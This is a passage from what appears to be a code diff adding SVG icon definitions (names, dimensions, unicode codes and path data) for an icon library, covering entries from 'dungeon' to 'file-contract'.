10.7-32.9 17-52.5 17-49 0-88.9-33.5-88.9-88 0-27.1 16.5-51 49.4-91.9 4.7 5.6 67.1 88.1 67.1 88.1l39.8-47c2.8 4.8 5.4 9.5 7.7 14 18.6 36.7 10.8 83.6-22.6 107.8z" ], + dungeon: [ 512, 512, [], "f6d9", "M128.73 195.32l-82.81-51.76c-8.04-5.02-18.99-2.17-22.93 6.45A254.19 254.19 0 0 0 .54 239.28C-.05 248.37 7.59 256 16.69 256h97.13c7.96 0 14.08-6.25 15.01-14.16 1.09-9.33 3.24-18.33 6.24-26.94 2.56-7.34.25-15.46-6.34-19.58zM319.03 8C298.86 2.82 277.77 0 256 0s-42.86 2.82-63.03 8c-9.17 2.35-13.91 12.6-10.39 21.39l37.47 104.03A16.003 16.003 0 0 0 235.1 144h41.8c6.75 0 12.77-4.23 15.05-10.58l37.47-104.03c3.52-8.79-1.22-19.03-10.39-21.39zM112 288H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm77.31-283.67l-36.32-90.8c-3.53-8.83-14.13-12.99-22.42-8.31a257.308 257.308 0 0 0-71.61 59.89c-6.06 7.32-3.85 18.48 4.22 23.52l82.93 51.83c6.51 4.07 14.66 2.62 20.11-2.79 5.18-5.15 10.79-9.85 16.79-14.05 6.28-4.41 9.15-12.17 6.3-19.29zM398.18 256h97.13c9.1 0 16.74-7.63 16.15-16.72a254.135 254.135 0 0 0-22.45-89.27c-3.94-8.62-14.89-11.47-22.93-6.45l-82.81 51.76c-6.59 4.12-8.9 12.24-6.34 19.58 3.01 8.61 5.15 17.62 6.24 26.94.93 7.91 7.05 14.16 15.01 14.16zm54.85-162.89a257.308 257.308 0 0 0-71.61-59.89c-8.28-4.68-18.88-.52-22.42 8.31l-36.32 90.8c-2.85 7.12.02 14.88 6.3 19.28 6 4.2 11.61 8.9 16.79 14.05 5.44 5.41 13.6 6.86 20.11 2.79l82.93-51.83c8.07-5.03 10.29-16.19 4.22-23.51zM496 288h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zM240 177.62V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V177.62c-5.23-.89-10.52-1.62-16-1.62s-10.77.73-16 1.62zm-64 41.51V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V189.36c-12.78 7.45-23.84 17.47-32 29.77zm128-29.77V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V219.13c-8.16-12.3-19.22-22.32-32-29.77z" ], + edit: [ 576, 512, [], "f044", "M402.6 83.2l90.2 90.2c3.8 3.8 3.8 10 0 13.8L274.4 405.6l-92.8 10.3c-12.4 1.4-22.9-9.1-21.5-21.5l10.3-92.8L388.8 83.2c3.8-3.8 10-3.8 13.8 0zm162-22.9l-48.8-48.8c-15.2-15.2-39.9-15.2-55.2 0l-35.4 35.4c-3.8 3.8-3.8 10 0 13.8l90.2 90.2c3.8 3.8 10 3.8 13.8 0l35.4-35.4c15.2-15.3 15.2-40 0-55.2zM384 346.2V448H64V128h229.8c3.2 0 6.2-1.3 8.5-3.5l40-40c7.6-7.6 2.2-20.5-8.5-20.5H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V306.2c0-10.7-12.9-16-20.5-8.5l-40 40c-2.2 2.3-3.5 5.3-3.5 8.5z" ], + egg: [ 384, 512, [], "f7fb", "M192 0C86 0 0 214 0 320s86 192 192 192 192-86 192-192S298 0 192 0z" ], + eject: [ 448, 512, [], "f052", "M448 384v64c0 17.673-14.327 32-32 32H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h384c17.673 0 32 14.327 32 32zM48.053 320h351.886c41.651 0 63.581-49.674 35.383-80.435L259.383 47.558c-19.014-20.743-51.751-20.744-70.767 0L12.67 239.565C-15.475 270.268 6.324 320 48.053 320z" ], + "ellipsis-h": [ 512, 512, [], "f141", "M328 256c0 39.8-32.2 72-72 72s-72-32.2-72-72 32.2-72 72-72 72 32.2 72 72zm104-72c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm-352 0c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72z" ], + "ellipsis-v": [ 192, 512, [], "f142", "M96 184c39.8 0 72 32.2 72 72s-32.2 72-72 72-72-32.2-72-72 32.2-72 72-72zM24 80c0 39.8 32.2 72 72 72s72-32.2 72-72S135.8 8 96 8 24 40.2 24 80zm0 352c0 39.8 32.2 72 72 72s72-32.2 72-72-32.2-72-72-72-72 32.2-72 72z" ], + envelope: [ 512, 512, [], "f0e0", "M502.3 190.8c3.9-3.1 9.7-.2 9.7 4.7V400c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V195.6c0-5 5.7-7.8 9.7-4.7 22.4 17.4 52.1 39.5 154.1 113.6 21.1 15.4 56.7 47.8 92.2 47.6 35.7.3 72-32.8 92.3-47.6 102-74.1 131.6-96.3 154-113.7zM256 320c23.2.4 56.6-29.2 73.4-41.4 132.7-96.3 142.8-104.7 173.4-128.7 5.8-4.5 9.2-11.5 9.2-18.9v-19c0-26.5-21.5-48-48-48H48C21.5 64 0 85.5 0 112v19c0 7.4 3.4 14.3 9.2 18.9 30.6 23.9 40.7 32.4 173.4 128.7 16.8 12.2 50.2 41.8 73.4 41.4z" ], + "envelope-open": [ 512, 512, [], "f2b6", "M512 464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V200.724a48 48 0 0 1 18.387-37.776c24.913-19.529 45.501-35.365 164.2-121.511C199.412 29.17 232.797-.347 256 .003c23.198-.354 56.596 29.172 73.413 41.433 118.687 86.137 139.303 101.995 164.2 121.512A48 48 0 0 1 512 200.724V464zm-65.666-196.605c-2.563-3.728-7.7-4.595-11.339-1.907-22.845 16.873-55.462 40.705-105.582 77.079-16.825 12.266-50.21 41.781-73.413 41.43-23.211.344-56.559-29.143-73.413-41.43-50.114-36.37-82.734-60.204-105.582-77.079-3.639-2.688-8.776-1.821-11.339 1.907l-9.072 13.196a7.998 7.998 0 0 0 1.839 10.967c22.887 16.899 55.454 40.69 105.303 76.868 20.274 14.781 56.524 47.813 92.264 47.573 35.724.242 71.961-32.771 92.263-47.573 49.85-36.179 82.418-59.97 105.303-76.868a7.998 7.998 0 0 0 1.839-10.967l-9.071-13.196z" ], + "envelope-open-text": [ 512, 512, [], "f658", "M176 216h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16zm-16 80c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16zm96 121.13c-16.42 0-32.84-5.06-46.86-15.19L0 250.86V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V250.86L302.86 401.94c-14.02 10.12-30.44 15.19-46.86 15.19zm237.61-254.18c-8.85-6.94-17.24-13.47-29.61-22.81V96c0-26.51-21.49-48-48-48h-77.55c-3.04-2.2-5.87-4.26-9.04-6.56C312.6 29.17 279.2-.35 256 0c-23.2-.35-56.59 29.17-73.41 41.44-3.17 2.3-6 4.36-9.04 6.56H96c-26.51 0-48 21.49-48 48v44.14c-12.37 9.33-20.76 15.87-29.61 22.81A47.995 47.995 0 0 0 0 200.72v10.65l96 69.35V96h320v184.72l96-69.35v-10.65c0-14.74-6.78-28.67-18.39-37.77z" ], + "envelope-square": [ 448, 512, [], "f199", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM178.117 262.104C87.429 196.287 88.353 196.121 64 177.167V152c0-13.255 10.745-24 24-24h272c13.255 0 24 10.745 24 24v25.167c-24.371 18.969-23.434 19.124-114.117 84.938-10.5 7.655-31.392 26.12-45.883 25.894-14.503.218-35.367-18.227-45.883-25.895zM384 217.775V360c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V217.775c13.958 10.794 33.329 25.236 95.303 70.214 14.162 10.341 37.975 32.145 64.694 32.01 26.887.134 51.037-22.041 64.72-32.025 61.958-44.965 81.325-59.406 95.283-70.199z" ], + equals: [ 448, 512, [], "f52c", "M416 304H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32zm0-192H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z" ], + eraser: [ 512, 512, [], "f12d", "M497.941 273.941c18.745-18.745 18.745-49.137 0-67.882l-160-160c-18.745-18.745-49.136-18.746-67.883 0l-256 256c-18.745 18.745-18.745 49.137 0 67.882l96 96A48.004 48.004 0 0 0 144 480h356c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H355.883l142.058-142.059zm-302.627-62.627l137.373 137.373L265.373 416H150.628l-80-80 124.686-124.686z" ], + ethernet: [ 512, 512, [], "f796", "M496 192h-48v-48c0-8.8-7.2-16-16-16h-48V80c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16v48H80c-8.8 0-16 7.2-16 16v48H16c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16h80V320h32v128h64V320h32v128h64V320h32v128h64V320h32v128h80c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16z" ], + "euro-sign": [ 320, 512, [], "f153", "M310.706 413.765c-1.314-6.63-7.835-10.872-14.424-9.369-10.692 2.439-27.422 5.413-45.426 5.413-56.763 0-101.929-34.79-121.461-85.449h113.689a12 12 0 0 0 11.708-9.369l6.373-28.36c1.686-7.502-4.019-14.631-11.708-14.631H115.22c-1.21-14.328-1.414-28.287.137-42.245H261.95a12 12 0 0 0 11.723-9.434l6.512-29.755c1.638-7.484-4.061-14.566-11.723-14.566H130.184c20.633-44.991 62.69-75.03 117.619-75.03 14.486 0 28.564 2.25 37.851 4.145 6.216 1.268 12.347-2.498 14.002-8.623l11.991-44.368c1.822-6.741-2.465-13.616-9.326-14.917C290.217 34.912 270.71 32 249.635 32 152.451 32 74.03 92.252 45.075 176H12c-6.627 0-12 5.373-12 12v29.755c0 6.627 5.373 12 12 12h21.569c-1.009 13.607-1.181 29.287-.181 42.245H12c-6.627 0-12 5.373-12 12v28.36c0 6.627 5.373 12 12 12h30.114C67.139 414.692 145.264 480 249.635 480c26.301 0 48.562-4.544 61.101-7.788 6.167-1.595 10.027-7.708 8.788-13.957l-8.818-44.49z" ], + "exchange-alt": [ 512, 512, [], "f362", "M0 168v-16c0-13.255 10.745-24 24-24h360V80c0-21.367 25.899-32.042 40.971-16.971l80 80c9.372 9.373 9.372 24.569 0 33.941l-80 80C409.956 271.982 384 261.456 384 240v-48H24c-13.255 0-24-10.745-24-24zm488 152H128v-48c0-21.314-25.862-32.08-40.971-16.971l-80 80c-9.372 9.373-9.372 24.569 0 33.941l80 80C102.057 463.997 128 453.437 128 432v-48h360c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24z" ], + exclamation: [ 192, 512, [], "f12a", "M176 432c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zM25.26 25.199l13.6 272C39.499 309.972 50.041 320 62.83 320h66.34c12.789 0 23.331-10.028 23.97-22.801l13.6-272C167.425 11.49 156.496 0 142.77 0H49.23C35.504 0 24.575 11.49 25.26 25.199z" ], + "exclamation-circle": [ 512, 512, [], "f06a", "M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zm-248 50c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z" ], + "exclamation-triangle": [ 576, 512, [], "f071", "M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z" ], + expand: [ 448, 512, [], "f065", "M0 180V56c0-13.3 10.7-24 24-24h124c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H64v84c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12zM288 44v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V56c0-13.3-10.7-24-24-24H300c-6.6 0-12 5.4-12 12zm148 276h-40c-6.6 0-12 5.4-12 12v84h-84c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24V332c0-6.6-5.4-12-12-12zM160 468v-40c0-6.6-5.4-12-12-12H64v-84c0-6.6-5.4-12-12-12H12c-6.6 0-12 5.4-12 12v124c0 13.3 10.7 24 24 24h124c6.6 0 12-5.4 12-12z" ], + "expand-alt": [ 448, 512, [], "f424", "M212.686 315.314L120 408l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C10.697 480 0 469.255 0 456V344c0-21.382 25.803-32.09 40.922-16.971L72 360l92.686-92.686c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.249 6.248 6.249 16.378 0 22.627zm22.628-118.628L328 104l-32.922-31.029C279.958 57.851 290.666 32 312.048 32h112C437.303 32 448 42.745 448 56v112c0 21.382-25.803 32.09-40.922 16.971L376 152l-92.686 92.686c-6.248 6.248-16.379 6.248-22.627 0l-25.373-25.373c-6.249-6.248-6.249-16.378 0-22.627z" ], + "expand-arrows-alt": [ 448, 512, [], "f31e", "M448 344v112a23.94 23.94 0 0 1-24 24H312c-21.39 0-32.09-25.9-17-41l36.2-36.2L224 295.6 116.77 402.9 153 439c15.09 15.1 4.39 41-17 41H24a23.94 23.94 0 0 1-24-24V344c0-21.4 25.89-32.1 41-17l36.19 36.2L184.46 256 77.18 148.7 41 185c-15.1 15.1-41 4.4-41-17V56a23.94 23.94 0 0 1 24-24h112c21.39 0 32.09 25.9 17 41l-36.2 36.2L224 216.4l107.23-107.3L295 73c-15.09-15.1-4.39-41 17-41h112a23.94 23.94 0 0 1 24 24v112c0 21.4-25.89 32.1-41 17l-36.19-36.2L263.54 256l107.28 107.3L407 327.1c15.1-15.2 41-4.5 41 16.9z" ], + "external-link-alt": [ 512, 512, [], "f35d", "M432,320H400a16,16,0,0,0-16,16V448H64V128H208a16,16,0,0,0,16-16V80a16,16,0,0,0-16-16H48A48,48,0,0,0,0,112V464a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V336A16,16,0,0,0,432,320ZM488,0h-128c-21.37,0-32.05,25.91-17,41l35.73,35.73L135,320.37a24,24,0,0,0,0,34L157.67,377a24,24,0,0,0,34,0L435.28,133.32,471,169c15,15,41,4.5,41-17V24A24,24,0,0,0,488,0Z" ], + "external-link-square-alt": [ 448, 512, [], "f360", "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-88 16H248.029c-21.313 0-32.08 25.861-16.971 40.971l31.984 31.987L67.515 364.485c-4.686 4.686-4.686 12.284 0 16.971l31.029 31.029c4.687 4.686 12.285 4.686 16.971 0l195.526-195.526 31.988 31.991C358.058 263.977 384 253.425 384 231.979V120c0-13.255-10.745-24-24-24z" ], + eye: [ 576, 512, [], "f06e", "M572.52 241.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400a144 144 0 1 1 144-144 143.93 143.93 0 0 1-144 144zm0-240a95.31 95.31 0 0 0-25.31 3.79 47.85 47.85 0 0 1-66.9 66.9A95.78 95.78 0 1 0 288 160z" ], + "eye-dropper": [ 512, 512, [], "f1fb", "M50.75 333.25c-12 12-18.75 28.28-18.75 45.26V424L0 480l32 32 56-32h45.49c16.97 0 33.25-6.74 45.25-18.74l126.64-126.62-128-128L50.75 333.25zM483.88 28.12c-37.47-37.5-98.28-37.5-135.75 0l-77.09 77.09-13.1-13.1c-9.44-9.44-24.65-9.31-33.94 0l-40.97 40.97c-9.37 9.37-9.37 24.57 0 33.94l161.94 161.94c9.44 9.44 24.65 9.31 33.94 0L419.88 288c9.37-9.37 9.37-24.57 0-33.94l-13.1-13.1 77.09-77.09c37.51-37.48 37.51-98.26.01-135.75z" ], + "eye-slash": [ 640, 512, [], "f070", "M320 400c-75.85 0-137.25-58.71-142.9-133.11L72.2 185.82c-13.79 17.3-26.48 35.59-36.72 55.59a32.35 32.35 0 0 0 0 29.19C89.71 376.41 197.07 448 320 448c26.91 0 52.87-4 77.89-10.46L346 397.39a144.13 144.13 0 0 1-26 2.61zm313.82 58.1l-110.55-85.44a331.25 331.25 0 0 0 81.25-102.07 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64a308.15 308.15 0 0 0-147.32 37.7L45.46 3.37A16 16 0 0 0 23 6.18L3.37 31.45A16 16 0 0 0 6.18 53.9l588.36 454.73a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zm-183.72-142l-39.3-30.38A94.75 94.75 0 0 0 416 256a94.76 94.76 0 0 0-121.31-92.21A47.65 47.65 0 0 1 304 192a46.64 46.64 0 0 1-1.54 10l-73.61-56.89A142.31 142.31 0 0 1 320 112a143.92 143.92 0 0 1 144 144c0 21.63-5.29 41.79-13.9 60.11z" ], + fan: [ 512, 512, [], "f863", "M352.57 128c-28.09 0-54.09 4.52-77.06 12.86l12.41-123.11C289 7.31 279.81-1.18 269.33.13 189.63 10.13 128 77.64 128 159.43c0 28.09 4.52 54.09 12.86 77.06L17.75 224.08C7.31 223-1.18 232.19.13 242.67c10 79.7 77.51 141.33 159.3 141.33 28.09 0 54.09-4.52 77.06-12.86l-12.41 123.11c-1.05 10.43 8.11 18.93 18.59 17.62 79.7-10 141.33-77.51 141.33-159.3 0-28.09-4.52-54.09-12.86-77.06l123.11 12.41c10.44 1.05 18.93-8.11 17.62-18.59-10-79.7-77.51-141.33-159.3-141.33zM256 288a32 32 0 1 1 32-32 32 32 0 0 1-32 32z" ], + "fast-backward": [ 512, 512, [], "f049", "M0 436V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v151.9L235.5 71.4C256.1 54.3 288 68.6 288 96v131.9L459.5 71.4C480.1 54.3 512 68.6 512 96v320c0 27.4-31.9 41.7-52.5 24.6L288 285.3V416c0 27.4-31.9 41.7-52.5 24.6L64 285.3V436c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12z" ], + "fast-forward": [ 512, 512, [], "f050", "M512 76v360c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V284.1L276.5 440.6c-20.6 17.2-52.5 2.8-52.5-24.6V284.1L52.5 440.6C31.9 457.8 0 443.4 0 416V96c0-27.4 31.9-41.7 52.5-24.6L224 226.8V96c0-27.4 31.9-41.7 52.5-24.6L448 226.8V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12z" ], + faucet: [ 512, 512, [], "e005", "M352,256H313.39c-15.71-13.44-35.46-23.07-57.39-28V180.44l-32-3.38-32,3.38V228c-21.93,5-41.68,14.6-57.39,28H16A16,16,0,0,0,0,272v96a16,16,0,0,0,16,16h92.79C129.38,421.73,173,448,224,448s94.62-26.27,115.21-64H352a32,32,0,0,1,32,32,32,32,0,0,0,32,32h64a32,32,0,0,0,32-32A160,160,0,0,0,352,256ZM81.59,159.91l142.41-15,142.41,15c9.42,1,17.59-6.81,17.59-16.8V112.89c0-10-8.17-17.8-17.59-16.81L256,107.74V80a16,16,0,0,0-16-16H208a16,16,0,0,0-16,16v27.74L81.59,96.08C72.17,95.09,64,102.9,64,112.89v30.22C64,153.1,72.17,160.91,81.59,159.91Z" ], + fax: [ 512, 512, [], "f1ac", "M480 160V77.25a32 32 0 0 0-9.38-22.63L425.37 9.37A32 32 0 0 0 402.75 0H160a32 32 0 0 0-32 32v448a32 32 0 0 0 32 32h320a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM288 432a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm128 128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-112H192V64h160v48a16 16 0 0 0 16 16h48zM64 128H32a32 32 0 0 0-32 32v320a32 32 0 0 0 32 32h32a32 32 0 0 0 32-32V160a32 32 0 0 0-32-32z" ], + feather: [ 512, 512, [], "f52d", "M467.14 44.84c-62.55-62.48-161.67-64.78-252.28 25.73-78.61 78.52-60.98 60.92-85.75 85.66-60.46 60.39-70.39 150.83-63.64 211.17l178.44-178.25c6.26-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.6 9.37 33.98 0l66.1-66.03C159.42 454.65 279 457.11 353.95 384h-98.19l147.57-49.14c49.99-49.93 36.38-36.18 46.31-46.86h-97.78l131.54-43.8c45.44-74.46 34.31-148.84-16.26-199.36z" ], + "feather-alt": [ 512, 512, [], "f56b", "M512 0C460.22 3.56 96.44 38.2 71.01 287.61c-3.09 26.66-4.84 53.44-5.99 80.24l178.87-178.69c6.25-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.59 9.37 33.98 0l57.13-57.07c42.09-.14 84.15-2.53 125.96-7.36 53.48-5.44 97.02-26.47 132.58-56.54H255.74l146.79-48.88c11.25-14.89 21.37-30.71 30.45-47.12h-81.14l106.54-53.21C500.29 132.86 510.19 26.26 512 0z" ], + female: [ 256, 512, [], "f182", "M128 0c35.346 0 64 28.654 64 64s-28.654 64-64 64c-35.346 0-64-28.654-64-64S92.654 0 128 0m119.283 354.179l-48-192A24 24 0 0 0 176 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H80a24 24 0 0 0-23.283 18.179l-48 192C4.935 369.305 16.383 384 32 384h56v104c0 13.255 10.745 24 24 24h32c13.255 0 24-10.745 24-24V384h56c15.591 0 27.071-14.671 23.283-29.821z" ], + "fighter-jet": [ 640, 512, [], "f0fb", "M544 224l-128-16-48-16h-24L227.158 44h39.509C278.333 44 288 41.375 288 38s-9.667-6-21.333-6H152v12h16v164h-48l-66.667-80H18.667L8 138.667V208h8v16h48v2.666l-64 8v42.667l64 8V288H16v16H8v69.333L18.667 384h34.667L120 304h48v164h-16v12h114.667c11.667 0 21.333-2.625 21.333-6s-9.667-6-21.333-6h-39.509L344 320h24l48-16 128-16c96-21.333 96-26.583 96-32 0-5.417 0-10.667-96-32z" ], + file: [ 384, 512, [], "f15b", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm160-14.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" ], + "file-alt": [ 384, 512, [], "f15c", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 236c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-64c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-72v8c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm96-114.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" ], + "file-archive": [ 384, 512, [], "f1c6", "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zM128.4 336c-17.9 0-32.4 12.1-32.4 27 0 15 14.6 27 32.5 27s32.4-12.1 32.4-27-14.6-27-32.5-27zM224 136V0h-63.6v32h-32V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM95.9 32h32v32h-32zm32.3 384c-33.2 0-58-30.4-51.4-62.9L96.4 256v-32h32v-32h-32v-32h32v-32h-32V96h32V64h32v32h-32v32h32v32h-32v32h32v32h-32v32h22.1c5.7 0 10.7 4.1 11.8 9.7l17.3 87.7c6.4 32.4-18.4 62.6-51.4 62.6z" ], + "file-audio": [ 384, 512, [], "f1c7", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-64 268c0 10.7-12.9 16-20.5 8.5L104 376H76c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h28l35.5-36.5c7.6-7.6 20.5-2.2 20.5 8.5v136zm33.2-47.6c9.1-9.3 9.1-24.1 0-33.4-22.1-22.8 12.2-56.2 34.4-33.5 27.2 27.9 27.2 72.4 0 100.4-21.8 22.3-56.9-10.4-34.4-33.5zm86-117.1c54.4 55.9 54.4 144.8 0 200.8-21.8 22.4-57-10.3-34.4-33.5 36.2-37.2 36.3-96.5 0-133.8-22.1-22.8 12.3-56.3 34.4-33.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" ], + "file-code": [ 384, 512, [], "f1c9", "M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zM123.206 400.505a5.4 5.4 0 0 1-7.633.246l-64.866-60.812a5.4 5.4 0 0 1 0-7.879l64.866-60.812a5.4 5.4 0 0 1 7.633.246l19.579 20.885a5.4 5.4 0 0 1-.372 7.747L101.65 336l40.763 35.874a5.4 5.4 0 0 1 .372 7.747l-19.579 20.884zm51.295 50.479l-27.453-7.97a5.402 5.402 0 0 1-3.681-6.692l61.44-211.626a5.402 5.402 0 0 1 6.692-3.681l27.452 7.97a5.4 5.4 0 0 1 3.68 6.692l-61.44 211.626a5.397 5.397 0 0 1-6.69 3.681zm160.792-111.045l-64.866 60.812a5.4 5.4 0 0 1-7.633-.246l-19.58-20.885a5.4 5.4 0 0 1 .372-7.747L284.35 336l-40.763-35.874a5.4 5.4 0 0 1-.372-7.747l19.58-20.885a5.4 5.4 0 0 1 7.633-.246l64.866 60.812a5.4 5.4 0 0 1-.001 7.879z" ], + "file-contract": [ 384, 512, [], "f56c", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm192.81 248H304c8.84 0 16 7.16 16 16s-7.16 16-16 16h-47.19c-16.45 0-31.27-9.14-38.64-23.86-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34a15.986 15.986 0 0 1-14.31 8.84c-.38 0-.75-.02-1.14-.05-6.45-.45-12-4.75-14.03-10.89L144 354.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.77-16.19 54.05-9.7 66 14.16 2.02 4.06 5.96 6.5 10.16 6.5zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" ], + 